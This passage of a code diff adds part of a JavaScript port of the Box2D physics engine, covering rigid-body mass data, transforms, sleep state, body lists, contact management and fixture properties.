+ this.m_sweep.c0.SetV(Box2D.Common.Math.b2Math.MulX(this.m_xf, this.m_sweep.localCenter));
+ this.m_sweep.c.SetV(this.m_sweep.c0);
+ this.m_linearVelocity.x += this.m_angularVelocity * (-(this.m_sweep.c.y - oldCenter.y));
+ this.m_linearVelocity.y += this.m_angularVelocity * (+(this.m_sweep.c.x - oldCenter.x));
+};
+Box2D.Dynamics.b2Body.prototype.ResetMassData = function() {
+ this.m_mass = 0.0;
+ this.m_invMass = 0.0;
+ this.m_I = 0.0;
+ this.m_invI = 0.0;
+ this.m_sweep.localCenter.SetZero();
+ if (this.m_type == Box2D.Dynamics.b2BodyDef.b2_staticBody || this.m_type == Box2D.Dynamics.b2BodyDef.b2_kinematicBody) {
+ return;
+ }
+ var center = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ for (var node = this.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ var f = node.fixture;
+ if (f.m_density == 0.0) {
+ continue;
+ }
+ var massData = f.GetMassData();
+ this.m_mass += massData.mass;
+ center.x += massData.center.x * massData.mass;
+ center.y += massData.center.y * massData.mass;
+ this.m_I += massData.I;
+ }
+ if (this.m_mass > 0.0) {
+ this.m_invMass = 1.0 / this.m_mass;
+ center.x *= this.m_invMass;
+ center.y *= this.m_invMass;
+ } else {
+ this.m_mass = 1.0;
+ this.m_invMass = 1.0;
+ }
+ if (this.m_I > 0.0 && !this.m_fixedRotation) {
+ this.m_I -= this.m_mass * (center.x * center.x + center.y * center.y);
+ this.m_I *= this.m_inertiaScale;
+;
+ this.m_invI = 1.0 / this.m_I;
+ } else {
+ this.m_I = 0.0;
+ this.m_invI = 0.0;
+ }
+ var oldCenter = this.m_sweep.c.Copy();
+ this.m_sweep.localCenter.SetV(center);
+ this.m_sweep.c0.SetV(Box2D.Common.Math.b2Math.MulX(this.m_xf, this.m_sweep.localCenter));
+ this.m_sweep.c.SetV(this.m_sweep.c0);
+ this.m_linearVelocity.x += this.m_angularVelocity * (-(this.m_sweep.c.y - oldCenter.y));
+ this.m_linearVelocity.y += this.m_angularVelocity * (+(this.m_sweep.c.x - oldCenter.x));
+ Box2D.Common.Math.b2Vec2.Free(center);
+ Box2D.Common.Math.b2Vec2.Free(oldCenter);
+};
+Box2D.Dynamics.b2Body.prototype.GetWorldPoint = function(localPoint) {
+ var A = this.m_xf.R;
+ var u = Box2D.Common.Math.b2Vec2.Get(A.col1.x * localPoint.x + A.col2.x * localPoint.y, A.col1.y * localPoint.x + A.col2.y * localPoint.y);
+ u.x += this.m_xf.position.x;
+ u.y += this.m_xf.position.y;
+ return u;
+};
+Box2D.Dynamics.b2Body.prototype.GetWorldVector = function(localVector) {
+ return Box2D.Common.Math.b2Math.MulMV(this.m_xf.R, localVector);
+};
+Box2D.Dynamics.b2Body.prototype.GetLocalPoint = function(worldPoint) {
+ return Box2D.Common.Math.b2Math.MulXT(this.m_xf, worldPoint);
+};
+Box2D.Dynamics.b2Body.prototype.GetLocalVector = function(worldVector) {
+ return Box2D.Common.Math.b2Math.MulTMV(this.m_xf.R, worldVector);
+};
+Box2D.Dynamics.b2Body.prototype.GetLinearVelocityFromWorldPoint = function(worldPoint) {
+ return Box2D.Common.Math.b2Vec2.Get(this.m_linearVelocity.x - this.m_angularVelocity * (worldPoint.y - this.m_sweep.c.y), this.m_linearVelocity.y + this.m_angularVelocity * (worldPoint.x - this.m_sweep.c.x));
+};
+Box2D.Dynamics.b2Body.prototype.GetLinearVelocityFromLocalPoint = function(localPoint) {
+ var A = this.m_xf.R;
+ var worldPoint = Box2D.Common.Math.b2Vec2.Get(A.col1.x * localPoint.x + A.col2.x * localPoint.y, A.col1.y * localPoint.x + A.col2.y * localPoint.y);
+ worldPoint.x += this.m_xf.position.x;
+ worldPoint.y += this.m_xf.position.y;
+ var velocity = Box2D.Common.Math.b2Vec2.Get(this.m_linearVelocity.x - this.m_angularVelocity * (worldPoint.y - this.m_sweep.c.y), this.m_linearVelocity.y + this.m_angularVelocity * (worldPoint.x - this.m_sweep.c.x));
+ Box2D.Common.Math.b2Vec2.Free(worldPoint);
+ return velocity;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Body.prototype.GetLinearDamping = function() {
+ return this.m_linearDamping;
+};
+/**
+ * @param {number} linearDamping
+ */
+Box2D.Dynamics.b2Body.prototype.SetLinearDamping = function(linearDamping) {
+ this.m_linearDamping = linearDamping;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Body.prototype.GetAngularDamping = function() {
+ return this.m_angularDamping;
+};
+/**
+ * @param {number} angularDamping
+ */
+Box2D.Dynamics.b2Body.prototype.SetAngularDamping = function(angularDamping) {
+ this.m_angularDamping = angularDamping;
+};
+/**
+ * @param {number} type
+ */
+Box2D.Dynamics.b2Body.prototype.SetType = function(type) {
+ if (this.m_type == type) {
+ return;
+ }
+ this.m_type = type;
+ this.ResetMassData();
+ if (this.m_type == Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ this.m_linearVelocity.SetZero();
+ this.m_angularVelocity = 0.0;
+ }
+ this.SetAwake(true);
+ this.m_force.SetZero();
+ this.m_torque = 0.0;
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ contactNode.contact.FlagForFiltering();
+ }
+ for (var i = 0; i < this.m_lists.length; i++) {
+ this.m_lists[i].UpdateBody(this);
+ }
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Body.prototype.GetType = function() {
+ return this.m_type;
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2Body.prototype.SetBullet = function(flag) {
+ this.m_bullet = flag;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Body.prototype.IsBullet = function() {
+ return this.m_bullet;
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2Body.prototype.SetSleepingAllowed = function(flag) {
+ this.m_allowSleep = flag;
+ if (!flag) {
+ this.SetAwake(true);
+ }
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2Body.prototype.SetAwake = function(flag) {
+ if (this.m_awake != flag) {
+ this.m_awake = flag;
+ this.m_sleepTime = 0;
+ if (!flag) {
+ this.m_linearVelocity.SetZero();
+ this.m_angularVelocity = 0.0;
+ this.m_force.SetZero();
+ this.m_torque = 0.0;
+ }
+ for (var i = 0; i < this.m_lists.length; i++) {
+ this.m_lists[i].UpdateBody(this);
+ }
+ }
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Body.prototype.IsAwake = function() {
+ return this.m_awake;
+};
+/**
+ * @param {boolean} fixed
+ */
+Box2D.Dynamics.b2Body.prototype.SetFixedRotation = function(fixed) {
+ this.m_fixedRotation = fixed;
+ this.ResetMassData();
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Body.prototype.IsFixedRotation = function() {
+ return this.m_fixedRotation;
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2Body.prototype.SetActive = function(flag) {
+ if (flag == this.m_active) {
+ return;
+ }
+ if (flag) {
+ this.m_active = true;
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ for (var node = this.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ node.fixture.CreateProxy(broadPhase, this.m_xf);
+ }
+ } else {
+ this.m_active = false;
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ for (var node = this.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ node.fixture.DestroyProxy(broadPhase);
+ }
+ for (var contactNode = this.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ this.m_world.m_contactManager.Destroy(contactNode.contact);
+ }
+ }
+ for (var i = 0; i < this.m_lists.length; i++) {
+ this.m_lists[i].UpdateBody(this);
+ }
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Body.prototype.IsActive = function() {
+ return this.m_active;
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Body.prototype.IsSleepingAllowed = function() {
+ return this.m_allowSleep;
+};
+Box2D.Dynamics.b2Body.prototype.GetFixtureList = function() {
+ return this.fixtureList;
+};
+Box2D.Dynamics.b2Body.prototype.GetJointList = function() {
+ return this.m_jointList;
+};
+Box2D.Dynamics.b2Body.prototype.GetControllerList = function() {
+ return this.controllerList;
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ */
+Box2D.Dynamics.b2Body.prototype.AddController = function(controller) {
+ this.controllerList.AddController(controller);
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ */
+Box2D.Dynamics.b2Body.prototype.RemoveController = function(controller) {
+ this.controllerList.RemoveController(controller);
+};
+Box2D.Dynamics.b2Body.prototype.GetContactList = function() {
+ return this.contactList;
+};
+Box2D.Dynamics.b2Body.prototype.GetWorld = function() {
+ return this.m_world;
+};
+Box2D.Dynamics.b2Body.prototype.SynchronizeFixtures = function() {
+ var xf1 = Box2D.Dynamics.b2Body.s_xf1;
+ xf1.R.Set(this.m_sweep.a0);
+ var tMat = xf1.R;
+ var tVec = this.m_sweep.localCenter;
+ xf1.position.x = this.m_sweep.c0.x - (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ xf1.position.y = this.m_sweep.c0.y - (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+ var f;
+ var broadPhase = this.m_world.m_contactManager.m_broadPhase;
+ for (var node = this.fixtureList.GetFirstNode(); node; node = node.GetNextNode()) {
+ node.fixture.Synchronize(broadPhase, xf1, this.m_xf);
+ }
+};
+Box2D.Dynamics.b2Body.prototype.SynchronizeTransform = function() {
+ this.m_xf.R.Set(this.m_sweep.a);
+ var tMat = this.m_xf.R;
+ var tVec = this.m_sweep.localCenter;
+ this.m_xf.position.x = this.m_sweep.c.x - (tMat.col1.x * tVec.x + tMat.col2.x * tVec.y);
+ this.m_xf.position.y = this.m_sweep.c.y - (tMat.col1.y * tVec.x + tMat.col2.y * tVec.y);
+};
+Box2D.Dynamics.b2Body.prototype.ShouldCollide = function(other) {
+ if (this.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody && other.m_type != Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ return false;
+ }
+ for (var jn = this.m_jointList; jn; jn = jn.next) {
+ if (jn.other == other) if (jn.joint.m_collideConnected == false) {
+ return false;
+ }
+ }
+ return true;
+};
+/**
+ * @param {number} t
+ */
+Box2D.Dynamics.b2Body.prototype.Advance = function(t) {
+ this.m_sweep.Advance(t);
+ this.m_sweep.c.SetV(this.m_sweep.c0);
+ this.m_sweep.a = this.m_sweep.a0;
+ this.SynchronizeTransform();
+};
+/**
+ * @type {number}
+ * @private
+ */
+Box2D.Dynamics.b2Body.NEXT_ID = 0;
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2BodyDef = function() {
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.position = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.linearVelocity = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {number} */
+ this.angle = 0.0;
+ /** @type {number} */
+ this.angularVelocity = 0.0;
+ /** @type {number} */
+ this.linearDamping = 0.0;
+ /** @type {number} */
+ this.angularDamping = 0.0;
+ /** @type {boolean} */
+ this.allowSleep = true;
+ /** @type {boolean} */
+ this.awake = true;
+ /** @type {boolean} */
+ this.fixedRotation = false;
+ /** @type {boolean} */
+ this.bullet = false;
+ /** @type {number} */
+ this.type = Box2D.Dynamics.b2BodyDef.b2_staticBody;
+ /** @type {boolean} */
+ this.active = true;
+ /** @type {number} */
+ this.inertiaScale = 1.0;
+};
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Dynamics.b2BodyDef.b2_staticBody = 0;
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Dynamics.b2BodyDef.b2_kinematicBody = 1;
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Dynamics.b2BodyDef.b2_dynamicBody = 2;
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2BodyList = function() {
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.bodyFirstNodes = [];
+ for(var i = 0; i <= Box2D.Dynamics.b2BodyList.TYPES.allBodies; i++) {
+ this.bodyFirstNodes[i] = null;
+ }
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.bodyLastNodes = [];
+ for(var i = 0; i <= Box2D.Dynamics.b2BodyList.TYPES.allBodies; i++) {
+ this.bodyLastNodes[i] = null;
+ }
+ /**
+ * @private
+ * @type {Object.>}
+ */
+ this.bodyNodeLookup = {};
+ /**
+ * @private
+ * @type {number}
+ */
+ this.bodyCount = 0;
+};
+/**
+ * @param {number} type
+ * @return {Box2D.Dynamics.b2BodyListNode}
+ */
+Box2D.Dynamics.b2BodyList.prototype.GetFirstNode = function(type) {
+ return this.bodyFirstNodes[type];
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.b2BodyList.prototype.AddBody = function(body) {
+ var bodyID = body.ID;
+ if (this.bodyNodeLookup[bodyID] == null) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.allBodies);
+ this.UpdateBody(body);
+ body.m_lists.push(this);
+ this.bodyCount++;
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.b2BodyList.prototype.UpdateBody = function(body) {
+ var type = body.GetType();
+ var bodyID = body.ID;
+ var awake = body.IsAwake();
+ var active = body.IsActive();
+ if (type == Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.dynamicBodies);
+ } else {
+ this.RemoveNode(bodyID, Box2D.Dynamics.b2BodyList.TYPES.dynamicBodies);
+ }
+ if (type != Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.nonStaticBodies);
+ } else {
+ this.RemoveNode(bodyID, Box2D.Dynamics.b2BodyList.TYPES.nonStaticBodies);
+ }
+ if (type != Box2D.Dynamics.b2BodyDef.b2_staticBody && active && awake) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.nonStaticActiveAwakeBodies);
+ } else {
+ this.RemoveNode(bodyID, Box2D.Dynamics.b2BodyList.TYPES.nonStaticActiveAwakeBodies);
+ }
+ if (awake) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.awakeBodies);
+ } else {
+ this.RemoveNode(bodyID, Box2D.Dynamics.b2BodyList.TYPES.awakeBodies);
+ }
+ if (active) {
+ this.CreateNode(body, bodyID, Box2D.Dynamics.b2BodyList.TYPES.activeBodies);
+ } else {
+ this.RemoveNode(bodyID, Box2D.Dynamics.b2BodyList.TYPES.activeBodies);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.b2BodyList.prototype.RemoveBody = function(body) {
+ var bodyID = body.ID;
+ if (this.bodyNodeLookup[bodyID] != null) {
+ cr.arrayFindRemove(body.m_lists, this);
+ for(var i = 0; i <= Box2D.Dynamics.b2BodyList.TYPES.allBodies; i++) {
+ this.RemoveNode(bodyID, i);
+ }
+ delete this.bodyNodeLookup[bodyID];
+ this.bodyCount--;
+ }
+};
+/**
+ * @param {string} bodyID
+ * @param {number} type
+ */
+Box2D.Dynamics.b2BodyList.prototype.RemoveNode = function(bodyID, type) {
+ var nodeList = this.bodyNodeLookup[bodyID];
+ if (nodeList == null) {
+ return;
+ }
+ var node = nodeList[type];
+ if (node == null) {
+ return;
+ }
+ nodeList[type] = null;
+ var prevNode = node.GetPreviousNode();
+ var nextNode = node.GetNextNode();
+ if (prevNode == null) {
+ this.bodyFirstNodes[type] = nextNode;
+ } else {
+ prevNode.SetNextNode(nextNode);
+ }
+ if (nextNode == null) {
+ this.bodyLastNodes[type] = prevNode;
+ } else {
+ nextNode.SetPreviousNode(prevNode);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ * @param {string} bodyID
+ * @param {number} type
+ */
+Box2D.Dynamics.b2BodyList.prototype.CreateNode = function(body, bodyID, type) {
+ var nodeList = this.bodyNodeLookup[bodyID];
+ if (nodeList == null) {
+ nodeList = [];
+ for(var i = 0; i <= Box2D.Dynamics.b2BodyList.TYPES.allBodies; i++) {
+ nodeList[i] = null;
+ }
+ this.bodyNodeLookup[bodyID] = nodeList;
+ }
+ if (nodeList[type] == null) {
+ nodeList[type] = new Box2D.Dynamics.b2BodyListNode(body);
+ var prevNode = this.bodyLastNodes[type];
+ if (prevNode != null) {
+ prevNode.SetNextNode(nodeList[type]);
+ } else {
+ this.bodyFirstNodes[type] = nodeList[type];
+ }
+ nodeList[type].SetPreviousNode(prevNode);
+ this.bodyLastNodes[type] = nodeList[type];
+ }
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2BodyList.prototype.GetBodyCount = function() {
+ return this.bodyCount;
+};
+/**
+ * @enum {number}
+ */
+Box2D.Dynamics.b2BodyList.TYPES = {
+ dynamicBodies: 0,
+ nonStaticBodies: 1,
+ activeBodies: 2,
+ nonStaticActiveAwakeBodies: 3,
+ awakeBodies: 4,
+ allBodies: 5 // Assumed to be last by above code
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ * @constructor
+ */
+Box2D.Dynamics.b2BodyListNode = function(body) {
+ /**
+ * @const
+ * @type {!Box2D.Dynamics.b2Body}
+ */
+ this.body = body;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2BodyListNode}
+ */
+ this.next = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2BodyListNode}
+ */
+ this.previous = null;
+};
+/**
+ * @param {Box2D.Dynamics.b2BodyListNode} node
+ */
+Box2D.Dynamics.b2BodyListNode.prototype.SetNextNode = function(node) {
+ this.next = node;
+};
+/**
+ * @param {Box2D.Dynamics.b2BodyListNode} node
+ */
+Box2D.Dynamics.b2BodyListNode.prototype.SetPreviousNode = function(node) {
+ this.previous = node;
+};
+/**
+ * @return {Box2D.Dynamics.b2Body}
+ */
+Box2D.Dynamics.b2BodyListNode.prototype.GetBody = function() {
+ return this.body;
+};
+/**
+ * @return {Box2D.Dynamics.b2BodyListNode}
+ */
+Box2D.Dynamics.b2BodyListNode.prototype.GetNextNode = function() {
+ return this.next;
+};
+/**
+ * @return {Box2D.Dynamics.b2BodyListNode}
+ */
+Box2D.Dynamics.b2BodyListNode.prototype.GetPreviousNode = function() {
+ return this.previous;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2ContactFilter = function() {};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2ContactFilter.prototype.ShouldCollide = function(fixtureA, fixtureB) {
+ var filter1 = fixtureA.GetFilterData();
+ var filter2 = fixtureB.GetFilterData();
+ if (filter1.groupIndex == filter2.groupIndex && filter1.groupIndex != 0) {
+ return filter1.groupIndex > 0;
+ }
+ return (filter1.maskBits & filter2.categoryBits) != 0 && (filter1.categoryBits & filter2.maskBits) != 0;
+};
+/** @type {!Box2D.Dynamics.b2ContactFilter} */
+Box2D.Dynamics.b2ContactFilter.b2_defaultFilter = new Box2D.Dynamics.b2ContactFilter();
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2ContactImpulse = function () {
+ this.normalImpulses = [];
+ this.tangentImpulses = [];
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2ContactListener = function () {};
+Box2D.Dynamics.b2ContactListener.prototype.BeginContact = function (contact) {};
+Box2D.Dynamics.b2ContactListener.prototype.EndContact = function (contact) {};
+Box2D.Dynamics.b2ContactListener.prototype.PreSolve = function (contact, oldManifold) {};
+Box2D.Dynamics.b2ContactListener.prototype.PostSolve = function (contact, impulse) {};
+/**
+ * @param {!Box2D.Dynamics.b2World} world
+ * @constructor
+ */
+Box2D.Dynamics.b2ContactManager = function(world) {
+ /**
+ * @private
+ * @const
+ * @type {!Box2D.Dynamics.b2World}
+ */
+ this.m_world = world;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2ContactFilter}
+ */
+ this.m_contactFilter = Box2D.Dynamics.b2ContactFilter.b2_defaultFilter;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2ContactListener}
+ */
+ this.m_contactListener = Box2D.Dynamics.b2ContactListener.b2_defaultListener;
+ /**
+ * @private
+ * @const
+ * @type {!Box2D.Dynamics.Contacts.b2ContactFactory}
+ */
+ this.m_contactFactory = new Box2D.Dynamics.Contacts.b2ContactFactory();
+ /**
+ * @private
+ * @type {!Box2D.Collision.b2DynamicTreeBroadPhase}
+ */
+ this.m_broadPhase = new Box2D.Collision.b2DynamicTreeBroadPhase();
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.b2ContactManager.prototype.AddPair = function (fixtureA, fixtureB) {
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ if (bodyA == bodyB) {
+ return;
+ }
+ if (!bodyB.ShouldCollide(bodyA)) {
+ return;
+ }
+ if (!this.m_contactFilter.ShouldCollide(fixtureA, fixtureB)) {
+ return;
+ }
+ for (var contactNode = bodyB.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ var fA = contactNode.contact.m_fixtureA;
+ if (fA == fixtureA) {
+ var fB = contactNode.contact.m_fixtureB;
+ if (fB == fixtureB) {
+ return;
+ }
+ } else if (fA == fixtureB) {
+ var fB = contactNode.contact.m_fixtureB;
+ if (fB == fixtureA) {
+ return;
+ }
+ }
+ }
+ var c = this.m_contactFactory.Create(fixtureA, fixtureB);
+};
+Box2D.Dynamics.b2ContactManager.prototype.FindNewContacts = function () {
+ var self = this;
+ /** @type {function(!Box2D.Dynamics.b2Fixture, !Box2D.Dynamics.b2Fixture)} */
+ var addPairCallback = function(fixtureA, fixtureB) {
+ self.AddPair(fixtureA, fixtureB)
+ };
+ this.m_broadPhase.UpdatePairs(addPairCallback);
+};
+Box2D.Dynamics.b2ContactManager.prototype.Destroy = function (c) {
+ var fixtureA = c.m_fixtureA;
+ var fixtureB = c.m_fixtureB;
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ if (c.touching) {
+ this.m_contactListener.EndContact(c);
+ }
+ if (c.m_manifold.m_pointCount > 0) {
+ c.m_fixtureA.GetBody().SetAwake(true);
+ c.m_fixtureB.GetBody().SetAwake(true);
+ }
+ c.RemoveFromLists();
+ this.m_contactFactory.Destroy(c);
+};
+Box2D.Dynamics.b2ContactManager.prototype.Collide = function() {
+ for (var contactNode = this.m_world.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ var c = contactNode.contact;
+ var fixtureA = c.m_fixtureA;
+ var fixtureB = c.m_fixtureB;
+ var bodyA = fixtureA.GetBody();
+ var bodyB = fixtureB.GetBody();
+ if (bodyA.IsAwake() == false && bodyB.IsAwake() == false) {
+ continue;
+ }
+ if (c.IsFiltering()) {
+ if (bodyB.ShouldCollide(bodyA) == false) {
+ this.Destroy(c);
+ continue;
+ }
+ if (this.m_contactFilter.ShouldCollide(fixtureA, fixtureB) == false) {
+ this.Destroy(c);
+ continue;
+ }
+ c.ClearFiltering();
+ }
+ var proxyA = fixtureA.m_proxy;
+ var proxyB = fixtureB.m_proxy;
+ var overlap = this.m_broadPhase.TestOverlap(proxyA, proxyB);
+ if (overlap == false) {
+ this.Destroy(c);
+ continue;
+ }
+ c.Update(this.m_contactListener);
+ }
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2DestructionListener = function () {};
+Box2D.Dynamics.b2DestructionListener.prototype.SayGoodbyeJoint = function (joint) {};
+Box2D.Dynamics.b2DestructionListener.prototype.SayGoodbyeFixture = function (fixture) {};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2FilterData = function () {
+ this.categoryBits = 0x0001;
+ this.maskBits = 0xFFFF;
+ this.groupIndex = 0;
+};
+/**
+ * @return {!Box2D.Dynamics.b2FilterData}
+ */
+Box2D.Dynamics.b2FilterData.prototype.Copy = function () {
+ var copy = new Box2D.Dynamics.b2FilterData();
+ copy.categoryBits = this.categoryBits;
+ copy.maskBits = this.maskBits;
+ copy.groupIndex = this.groupIndex;
+ return copy;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ * @param {!Box2D.Dynamics.b2FixtureDef} def
+ * @constructor
+ */
+Box2D.Dynamics.b2Fixture = function(body, xf, def) {
+ /**
+ * @const
+ * @private
+ * @type {string}
+ */
+ this.ID = "Fixture" + Box2D.Dynamics.b2Fixture.NEXT_ID++;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2FilterData}
+ */
+ this.m_filter = def.filter.Copy();
+ /**
+ * @private
+ * @type {!Box2D.Collision.b2AABB}
+ */
+ this.m_aabb = Box2D.Collision.b2AABB.Get();
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2Body}
+ */
+ this.m_body = body;
+ /**
+ * @private
+ * @type {!Box2D.Collision.Shapes.b2Shape}
+ */
+ this.m_shape = def.shape.Copy();
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_density = def.density;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_friction = def.friction;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_restitution = def.restitution;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_isSensor = def.isSensor;
+};
+/**
+ * @return {!Box2D.Collision.Shapes.b2Shape}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetShape = function() {
+ return this.m_shape;
+};
+/**
+ * @param {boolean} sensor
+ */
+Box2D.Dynamics.b2Fixture.prototype.SetSensor = function(sensor) {
+ if (this.m_isSensor == sensor) {
+ return;
+ }
+ this.m_isSensor = sensor;
+ if (this.m_body == null) {
+ return;
+ }
+ for (var contactNode = this.m_body.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ var fixtureA = contactNode.contact.m_fixtureA;
+ var fixtureB = contactNode.contact.m_fixtureB;
+ if (fixtureA == this || fixtureB == this) {
+ contactNode.contact.SetSensor(fixtureA.sensor || fixtureB.sensor);
+ }
+ }
+};
+/**
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Fixture.prototype.IsSensor = function() {
+ return this.m_isSensor;
+};
+/**
+ * @param {!Box2D.Dynamics.b2FilterData} filter
+ */
+Box2D.Dynamics.b2Fixture.prototype.SetFilterData = function(filter) {
+ this.m_filter = filter.Copy();
+ if (this.m_body == null) {
+ return;
+ }
+ for (var contactNode = this.m_body.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ if (contactNode.contact.m_fixtureA == this || contactNode.contact.m_fixtureB == this) {
+ contactNode.contact.FlagForFiltering();
+ }
+ }
+};
+/**
+ * @return {!Box2D.Dynamics.b2FilterData}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetFilterData = function() {
+ return this.m_filter.Copy();
+};
+/**
+ * @return {Box2D.Dynamics.b2Body}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetBody = function() {
+ return this.m_body;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} p
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Fixture.prototype.TestPoint = function(p) {
+ return this.m_shape.TestPoint(this.m_body.GetTransform(), p);
+};
+/**
+ * @param {!Box2D.Collision.b2RayCastOutput} output
+ * @param {!Box2D.Collision.b2RayCastInput} input
+ * @return {boolean}
+ */
+Box2D.Dynamics.b2Fixture.prototype.RayCast = function(output, input) {
+ return this.m_shape.RayCast(output, input, this.m_body.GetTransform());
+};
+/**
+ * @param {Box2D.Collision.Shapes.b2MassData=} massData
+ * @return {!Box2D.Collision.Shapes.b2MassData}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetMassData = function(massData) {
+ if (!massData) {
+ massData = new Box2D.Collision.Shapes.b2MassData();
+ }
+ this.m_shape.ComputeMass(massData, this.m_density);
+ return massData;
+};
+/**
+ * @param {number} density
+ */
+Box2D.Dynamics.b2Fixture.prototype.SetDensity = function(density) {
+ this.m_density = density;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetDensity = function() {
+ return this.m_density;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetFriction = function() {
+ return this.m_friction;
+};
+/**
+ * @param {number} friction
+ */
+Box2D.Dynamics.b2Fixture.prototype.SetFriction = function(friction) {
+ this.m_friction = friction;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetRestitution = function() {
+ return this.m_restitution;
+};
+/**
+ * @param {number} restitution
+ */
+Box2D.Dynamics.b2Fixture.prototype.SetRestitution = function(restitution) {
+ this.m_restitution = restitution;
+};
+/**
+ * @return {!Box2D.Collision.b2AABB}
+ */
+Box2D.Dynamics.b2Fixture.prototype.GetAABB = function() {
